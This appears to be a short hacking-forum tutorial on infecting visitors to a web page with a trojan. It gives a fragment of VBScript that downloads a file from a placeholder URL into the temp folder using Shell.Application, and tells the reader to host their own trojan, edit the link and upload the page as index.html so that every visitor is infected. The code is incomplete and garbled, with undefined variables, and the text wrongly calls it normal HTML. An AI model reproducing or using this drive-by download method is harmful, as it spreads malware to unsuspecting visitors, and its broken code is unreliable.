All you must have heard tht some one got infected with a trojan by visiting some website .
In this Tutorial i am going to help you understand how tht is done !!!
on error resume next
dl = www.abc.com
Set df = document.createElement(object)
Set x = df.CreateObject(strr,”)
set YY = df.createobject(strb5,”)
YY.type = 1
x.Open str6, dl, False
set FF = df.createobject(scripp,”)
set tmp = F.GetSpecialFolder(2)
set MM = df.createobject(Shell.Application,”)
This was a normal html code which would create a simple webpage.
Now what you have to do is, the server file of your trojan you will have to upload it on some webhosting and then change the link of the server file in the code and then save this code as index.html and then upload it to the same host.
All done, now everytime someone opens that webpage they would be infected with your trojans server.